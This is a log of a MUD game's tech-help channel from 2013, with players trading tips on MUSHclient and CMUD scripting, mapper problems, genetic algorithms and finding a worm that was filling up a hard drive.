T3/r7/2013-09-28.txt.gz:{chan ch=tech}Mr. Dash Tech: if you copy and paste the script into mush's plugin wizard, it builds the guid automatically and is listed in the header. personally, i just make em up
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: But in MUSH, I can't even figure out how to request and print the gmcp values.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Mye Tech: open up standard plugins .. usually it's along the lines of "when gmcp plugin broadcasts, i want to respond for certain types of messages"
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-09-28.txt.gz:{chan ch=tech}FarSnail Anaristos Tech: that's all broadcast does, advertises an event to the listeners. Basically like the #RAISEEVENT command in cmud.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm... that's a bit more helpful, thanks.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Doc Holliday Tech: Is there somewhere to check all devices with Imessage enabled on devices?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Medic Fluffhead Tech: Ok, weird thing happened. I went to open MUSH, like normal. Opened a terminal, cd to the appropriate directory, wine MUSHclient.exe /wine like normal, and it gave me a blank window asking if I can trust my plugins. Everything is gone, had to manually enter the world data. The folder does not appear to have been changed any time recently, and everything seems to be where it should be. Any thoughts, or should I just go ahead and download the newest build and start over?
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Medic Fluffhead Tech: Oh, and fonts and everything are messed up
T3/r7/2013-09-28.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: search for the .mcl file and try loading it
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Medic Fluffhead Tech: Did that, it loaded by default, and that was the one that was missing all the data
T3/r7/2013-09-28.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: maybe open the mcl file in a text editor and see if it looks lightly corrupted and fixable?? otherwise i dunno..
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Medic Fluffhead Tech: heh, the file is empty. That could be the problem :P
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Medic Fluffhead Tech: I'd say that is probably more than lightly corrupted :D
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Medic Fluffhead Tech: Oh well
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: Fluffhead: MUSHclient does not have the helpfile attacted to it anymore.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: It was not being attach back in MUSHclient 4.20ish
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: Might have been 4.35
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Medic Fluffhead Tech: ...right...But the helpfile isn't the problem. The fact that my world file is missing all it's data and not loading the plugins because of it is.
T3/r7/2013-09-28.txt.gz:{chan ch=tech}Turie Tech: Did you backup your world file?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Pluto Tech: is there a way to make the aardwolf mushclient leave what i last entered as a command like cmud does?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ixle Tech: Yes, I just dont know what it is.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Pluto Tech: heh
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: game -> configure -> commands
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: the top checkbox
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Pluto Tech: ahh score thanks:)
T3/r7/2013-09-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: There has to be another solution to restarting your computers after every update!
T3/r7/2013-09-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I get system files are in use and can't be replaced, but gosh darnit we put a man on the moon, we can figure out a way around it!
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ranrr Tech: Use an OS that doesn't suck.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: Which OS does not suck at something?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If you are referring to Linux.  I've tried linux, I know a good deal about computers, it's not as friendly to those who don't live and breath linux
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ranrr Tech: Well, none, but at least my OS doesn't need a restart just because I upgrade a package.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: I would like to know which OS does not need that.......
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ranrr Tech: For people that just want something that works, but that doesn't have a lot of options for personalisation, MacOS is a good choice.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ranrr Tech: I run debian.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ranrr Tech: Or actually, Linux Mint Debian Edition.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ranrr Tech: BTW, linux and unix can always replace a file. There is no such thing as a busy file.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Roidrage Tech: can anyone tell me why bigmap update doesnt work?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: Do you have bigmap on?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Roidrage Tech: yes
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Roidrage Tech: i type bigmap update it keeps showing the map but doesnt update
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Velian Tech: cmud - how can i gag part of a line and not the rest?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I think it's easier in Cmud, but in mushclient only option is to gag the entire line and print it out again with that part removed...
T3/r7/2013-09-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Don't they have subs in CMUD?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Velian Tech: yep thats what i was just looking at.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: how many players sustain at one time
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: how many players can the mud sustain at one time
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Mr. Dash Tech: probably several thousand. would just make for longer ticks. i doubt bandwidth would be a concern still
T3/r7/2013-09-29.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in theory indefinite in theory depends on the services provided
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Mencheres Tech: now do I make a trigger th at makes a loud beep only when its quest time?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Elchanan Tech: i mage my gq trigger page me three times
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ontuct Tech: trigger it of the you may quest again phrase
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ontuct Tech: trigger it off the you may quest again phrase
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: game -> configure -> triggers, put the ready to quest message in the top, click the section to browse for a sound
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Mencheres Tech: I did, but it does not fire
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: then you did something wrong :P
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Mencheres Tech: i'll have to try it again
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: you can use "echo" to test triggers
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: anything that you echo will be sent back to you exactly, so you can have properly-anchored triggers and still test them without "You say", etc in front
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Mencheres Tech: it worked thanks
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Mencheres Tech: volume was not loud enough
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ontuct Tech: I can't figure out how to have it nag me at intervals though.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ontuct Tech: I sometimes forget to complete them, get sidetracked by a cp mob in same area.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ontuct Tech: I suppose you could load a louder beep, or a longer soundfile and use that
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: I have that tied to a tick, personally...if I have killed my target but haven't turned it in, it'll tell me every tick
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: my "parse a GMCP tick" function has (remember that this is not for MUSHclient though): /if (gmcp_comm_quest_status =~ "TARGETDEAD") /echo -aCred HEY DUMBASS! Don't forget to Q COMPLETE! %; /elseif (gmcp_comm_quest_status =~ "CANQUEST") /echo -aCred WHAT ARE YOU WAITING FOR?!? GO QUEST! %; /endif
T3/r7/2013-09-29.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i have a Samsung "Smart" TV with a browser that leaves a lot to be desired... is there a way to change this?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Legendary Gruagach Tech: buy a 4k tv
T3/r7/2013-09-29.txt.gz:{chan ch=tech}<pretitle> Scars Tech: lets start with the premise that i'm not buying a new tv?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: you can connect a different device to the TV and use that device's browser instead
T3/r7/2013-09-29.txt.gz:{chan ch=tech}<pretitle> Scars Tech: that's not exactly an option for me, either
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ontuct Tech: laptop with hmdi
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: connect your computer to the TV
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: there isn't likely an answer other than that
T3/r7/2013-09-29.txt.gz:{chan ch=tech}<pretitle> Scars Tech: thanks then - i'll just deal with it :)
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Ontuct Tech: you could google smart tv browser for samsung and see if there is a hack
T3/r7/2013-09-29.txt.gz:{chan ch=tech}RightOn Rithlin Tech: Hope for an update from Samsung :P
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Legendary Gruagach Tech: too cnet says, "A not so Smart TV because of a very poor browser...those guys with their words
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: anyone here familiar with genetic algorithms?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: define familiar
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: sounds illegal
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: has programmed one before or understands the pseudo code. I am having trouble with the results of my tournament-selection 
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: err actauly what to do wit the results. i can tell if they replace my original population or go into a seperat aray
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: with* cant* seperate* lol
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: you need some kind of measuring function
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: just to tell whether it evolves further or not
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: ideally you should increase your population as big as possible
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: but due to memory / cpu you have to limit your population
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: ok, in my current context i have to evolve for 50 generations, but i definitely havnt been growing the population. i usually just keep the mutated children
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: thanks, ill try keeping the parents and growing the pop, cuz i guess the parents can be "more fit" the the mutations
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: than the*
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: if you can afford you should keep as many candidate solutions as possible
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: still you will either run out of memory or exceed time conditions if population will grow too large
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Trachx Tech: so you can be forced to throw away some candidates
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: ok cool, make sense 
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: I don't think you should change the size of population while running and it's most of the time better to have small population depending on the problem you are trying to solve (e.g. 100)
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: the test params i have go for 50 generations at a pop-size of 1000
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: that way you can run much more generations in the same amount of time, but if you are limiting the amount of generations then big populations are better of course
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: these were provided for me
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: ok then there's not much to do here except think of a suitable fitness function and crossover function
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: i am using uniform crossover and gaussian convolution to cross/mutate then the sum objective algo for fitness
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: i have also tried step objective
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: overall the code runs, my output just seems random as hell with the best individual at each generation going up and down with fitness
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: replace population always but keep the best overall from all generations
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: ok cool, ill give that a try
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i just recently wrote an algorithm to calculate best equipment set from a list of items and current stats, it may be helpful to you: www.duckbat.com/eqmgr.zip  it's written in C# code is mostly commented but the genetic algorithm part isn't, should be understandable anyway
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: awesome, i really appreciate it, ill check that out for sure
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: np, good luck with your assignment :)
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Arindel Tech: ty!
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: I am trying to figure out how to make an alias that will connect to portal IDs so I do not have to make a special alias for each portal.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: Any suggestions on where to look for an example of such alias types?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Roidrage Tech: does anyone know why my plugins wont save on exits im running as admin with write privlages
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: is there any reason why my appdata/local folder should be 129 GB in size?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Scars Tech: your bot is far too sophisticated
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: Wow, that is huge.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: I think Scars has been putting "stuff" in that file for you!
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Scars Tech: i told you that in CONFIDENCE... wow... Turie... wow... way to completely betray my trust
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: it is quite a problem since my hard drive is only 500 GB
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: Well, I had someone pay me more gold than you!
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: Eh, he only posted a blog about it two weeks back.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: Grissom: Find out which files are the culprits.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: Only then you'll find your answer.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}ElFeneri Tech: perhaps you have a virtualbox partition there?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: i did a virus scan didnt solve the problem
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: Is it Win8?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: No one said anything about virus scans.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Dash Tech: it probably is something totally legit
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Hadar Tech: too many flash games!
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Dash Tech: like some stupid program log
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: I said find out which file(s) are the biggest.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: Then you'll be able to determine where your problem is.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Dash Tech: yeah. you are going to have to go through the folders and figure it out
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: when i select all the folders and files in that folder it only equals 500 MB
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Hadar Tech: hidden files/folders?
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Dash Tech: no. windows guesses. i bet it says approx size or something
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: still only a 500 MB
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: You should use WinDirStat.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: It'll give a graphical representation of your hard drive space.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: Bigger files will generate bigger squares, etc.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Piffaron Tech: woah, slow down egghead
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: Etzli peers intently at Piffaron.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: Says you, in Twin Lobes...
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: http://windirstat.info/
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: It looks simple.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: Etzli nods at Turie.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: It is simple. But great at showing you where all your hard drive space is going.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: C:\Users\Marnus\AppData\Local\S-1-5-31-1286970278978-5713669491-166975984-320 this the main one
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Dash Tech: btw, googling that file name shows to be evidence of a particular worm
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: yeah it seems to copy stuff am deleting it now
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: Anaristos . o O ( "googling"? yuck! )
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: Better than Binging.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: And yodeling with YAHOO!
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Anaristos Tech: true :)
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Dash Tech: in this case, it is pretty useful because this particular worm has the value of that file name hardcoded into it
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: The Bling of Bing has been googled so much that we are saying "Yahoo!"
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Anaristos Tech: I guess it's "alting" with AltaVista, if they are stilla around :)
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Hadar Tech: you could be using gomomma still
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Qaebl Tech: heh just use yacy
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Etzli Tech: DuckDuckGo.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Turie Tech: Altavista was shutdown by Yahoo back in July/August.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: ok now i have 200 GB free space :)
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Grissom Tech: thanks for the help
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: Etzli nods.
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Leinei Tech: No, Siri, I did not say "Set timer for tuna half hours"
T3/r7/2013-09-29.txt.gz:{chan ch=tech}Tech: Leinei sighs.
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i thought with cmud you could do %format("This is a string: &10s","ummmmmmmm") and give it 10 spaces, or does that only work with formatting numbers
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Give it 10 spaces? What?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Ranrr Tech: Typically, format strings use percent signs, not ampersand. Maybe cmud is different, though.
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: it was not working for me because it was counting color codes, i have a work around in place already
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: any ideas on how to get rid of this: The mapper has detected a speedwalk initiated inside another speedwalk. Aborting.
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yeah, that one. You have mapper commands in one.
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: i have mapper commands in one? 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Ontuct Tech: try mapper where and the room number and see where it goes astray?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Hi, is there A way to break idle time out when im back?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: when im afk
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: I'm at the entrance to the seals, I type MF Fydri - I type go - and it puts in my commands..... run 4s3e2s etc etc and then spams out " Goto - 0   /   The mapper goto command expects a room id as input."
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Ralyn Tech: you have to kill the mobs to move through the seals
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: No. I don't. I've done the goal. 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Ralyn Tech: ok, well you need to have next as cexits I believe
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: yes...and I do have them all set up. 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Did you (or a plugin) alias 'next' to some mapper command?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: it was working just fine yesterday but then it started with this today 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So what did you change?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: nothing 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: As someone who has heard that many times before, yes you did :-P You just don't know what it was yet
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: right, well unless a gremlin snuck into my computer last night I didn't do anything. 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Ullin Tech: PC gremlins are fairly common
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Redryn Tech: mapper db corrupted?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Redryn Tech: i've heard that happens
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: everything else is working fine. I'm going to just purge it and re-map the area, maybe that will fix it. 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I suspect you've made an alias for an unrelated thing, and there is some conflict
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Domovoy Tech: may be try with backuped db?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Redryn Tech: yea i'm not sure why there's a mapper goto 0?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Redryn Tech: what sorta bots are you using!
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: I'm here asking you guys for help......you really think if I was botting I'd be doing that =P 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Redryn Tech: i use the term bot loosely
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Redryn Tech: it looks more like some script misfiring
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: would west timer cancel that idle time out thing?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: A*
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What is with all of these a=>west things?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Seems like the worst inline alias I've ever seen
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: my A button is west
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Redryn Tech: wasd? :p
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: W is north,A is west , S is east and Z is south
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you shift over to ESDF you can avoid the one of two possible single letter words you are conflicting with...
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or go with IJKL for funsies
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: nahh, will A timer work ?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just trigger on glaze
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: what must i trigger it to ?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: idk, echo or some sort of social
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Be creative
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Lilleana Tech: well purgezone worked - no idea what the dang gremlin did but it's resolved now. Bye 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ok thats west easy i mean A good tip, ty
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with mush how do you delay text being sent? like if i wanted to delay something 30 seconds
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In later releases there is a wait function. Mush is single thread though, so it blocks everything I believe. Alternatively, you can use a timer.
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: timer how do i do that from within a script?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Dummy up the timer in the plugin file and enable it like you would an alias or trigger
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mr. Dash Tech: if you are wanting to do it inside a lua function, you use doAfter()
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mr. Dash Tech: where the number in parentheses is seconds
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: doAfter is the lockup one though, right?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mr. Dash Tech: lock up?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Whereas a timer will execute subsequent code in the interim
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i cant lock up the timer wont fire for a good while after i set it
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: like in cmud i just do #alarm "name" {time} {stuff} ... im only writting in mush for clan member i just dont understand how stuff works
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mr. Dash Tech: doafter just works like a one-shot timer. it doesn't stop anything
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh good, thought it might have slept the thread. My bad
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mr. Dash Tech: syntax is DoAfter(secs, "string")
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mr. Dash Tech: only sends to world, AFAIK
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i need to send to world thanks
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mr. Dash Tech: looking at the documentation, DoAfterSpecial is more versatile, if you get the desire
T3/r7/2013-09-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: naw just need to send a string after X time
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Pleiades Tech: in wine or wineskin, can you easily change the "Drive" refered to?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Kommandant Vahlkynaz Tech: Is there anyway to disable command echoing while using the MUSH client?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Gener Tech: under display there is a no command echo option  ctrl+alt+E  is this what you are looking for?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mushambo Tech: Is it likely I would need an AC powered usb hub for a desktop? 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Ratpack Rintrah Tech: depends on the device you're pluging in to the hub
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Mushambo Tech: Nothing more than a couple flash drives, ipod charger, and audio adapter...I'd keep the HDs direct to the machine
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Ratpack Rintrah Tech: an image scanner is more likly to need an ac powered hub compared to some gadget mp3 payer
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Intuition Tech: how can i insert a comment in an alias in mushclient? 
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Zetkax Tech: use '#' for comments
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Intuition Tech: how about in an alias, not script? is it possible? doesn't look like it
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Zetkax Tech: um '#' is wrong for lua, its '--'
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Authentic Tech: can u get blowtorch for galaxy 3
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Authentic Tech: or whatever that app is called
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: it is called blowtorch. If galaxy three is an android, it should.
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Authentic Tech: hmm ive searched and couldnt find it
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: search for aardwolf, not blowtorch
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: it is a modified blowtorch perfect for aardwolf
T3/r7/2013-09-30.txt.gz:{chan ch=tech}Navi Tech: Anyone good with Java Regex and know what the pattern would be to match (somestring.someotherstring) ?
T3/r7/2013-09-30.txt.gz:{chan ch=tech}CptAmerica Tech: im on linux using mush, how would i make a sound file play then stop it with an alias?
T3/r7/2013-10-01.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was looking up ways to pad on lua came across this snippit: http://snipplr.com/view/13092/ to call it its just str_lpad(stuff) or is it another way?
T3/r7/2013-10-01.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Hi, im trying to with draw money after i cashscand in but for some reason it only withdraw money but dont depos it. os
T3/r7/2013-10-01.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: depos all
T3/r7/2013-10-01.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: depos all
